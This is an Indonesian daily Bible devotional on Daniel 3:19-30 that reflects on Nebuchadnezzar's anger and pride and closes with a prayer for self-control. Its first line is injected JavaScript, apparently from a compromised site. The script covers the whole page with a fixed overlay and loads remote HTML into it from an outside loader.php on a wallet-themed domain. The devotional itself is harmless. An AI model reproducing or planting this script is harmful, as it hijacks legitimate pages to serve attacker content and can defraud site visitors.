const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Selasa, 24 Oktober 2023
Daniel 3 : 19 – 30
Pengantar
Marah adalah salah satu emosi yang dimiliki manusia.
Namun tidak berarti kemarahan itu boleh menguasai kita. Hari ini kita akan belajar dari kemarahan raja Nebukadnezar, seorang raja yang memiliki kekuasaan besar dan sedang dilanda dengan kegeraman yang meluap.
Pemahaman
ay. 19-22 : Bagaimana Saudara meng gambarkan kemarahan raja Nebukadnezar?
ay. 23-30 : Keajaiban apa yang dilihat raja Nebukadnezar? Bagaimana pula respons raja terhadap peristiwa itu?
Sadrakh, Mesakh dan Abednego dijatuhi hukuman mati karena tidak mentaati raja yang memerintahkan semua orang menyembah patung buatannya. Hukuman mati kali ini sangat mengerikan. Kengerian pertama dapat dilihat dari kondisi Nebukadnezar yang saat itu sedang dikuasai kemarahan, sebagaimana digambarkan dalam ayat 19 yang mengatakan, “maka meluaplah kegeraman Nebukadnezar”. Kemarahan yang meluap tersebut membuat penghukuman yang diberikan Nebukadnezar menjadi lebih berat. Sadrakh, Mesakh dan Abednego diikat oleh beberapa tentara yang sangat kuat, sehingga ikatannya juga akan lebih kuat. Selain itu, mereka juga diikat dengan jubah, celana, topi dan pakaian-pakaian mereka yang lain. Ini menunjukkan bahwa mereka adalah pejabat pemerintah, sekaligus menandakan bagaimana kedinasan mereka tidak menjadi pertimbangan bagi Nebukadnezar. Bahkan Nebukadnezar memerintahkan supaya perapian itu dibuat tujuh kali lebih panas dari yang biasa. Tungku perapian itu dibuat sepanas mungkin, semaksimal mungkin. Sedemikian panasnya sehingga nyala api itu membakar mati orang-orang yang mengangkat Sadrakh, Mesakh dan Abednego itu ke atas.
Di balik kegeraman Nebukadnezar yang meluap itu tampaknya ada kesombongan diri. Tidak bisa dipungkiri bahwa memang pada masa itu kerajaan Babel mencapai masa kejayaannya. Dan pada waktu itu terdapat konsep bahwa bila Nebukadnezar berhasil menaklukkan sebuah kerajaan, berarti Nebukadnezar berhasil mengalahkan dewa yang disembah oleh kerajaan tersebut. Itu sebabnya dalam ayat 15 ada tertulis pernyataan sombong Nebukadnezar yang berbunyi “Dewa manakah yang dapat melepaskan kamu dari dalam tanganku …?” Kesombongan dan kemarahan menyatu dalam diri Nebukadnezar, membuat dirinya lupa daratan, tidak mampu melihat kebesaran Allah sesembahan Sadrakh, Mesakh dan Abednego. Padahal di beberapa tahun sebelumnya tercatat bagaimana Allah itu membuat mereka lebih superior dibanding yang lain, meski hanya makan sayuran.
Refleksi
Dari pengalaman raja Nebukadnezar ini kita dapat melihat betapa pentingnya untuk belajar mengendalikan kemarahan. Bila tidak, maka kita akan dikendalikan oleh kemarahan itu sehingga mengambil tindakan-tindakan yang kejam. Apalagi bila terdapat kesombongan dalam diri kita, maka semuanya itu akan membutakan kita, tidak lagi mampu mengenal akan kuasa Allah.
Tekadku
Doa: Bapa surgawi, tolong saya untuk mengendalikan kemarahan, agar tidak dikendalikan oleh kemarahan itu, serta mengambil tindakan-tindakan yang kejam, tidak berkenan di hadapan-Mu. Amin.
Tindakanku
Saya akan belajar mengendalikan kemarahan.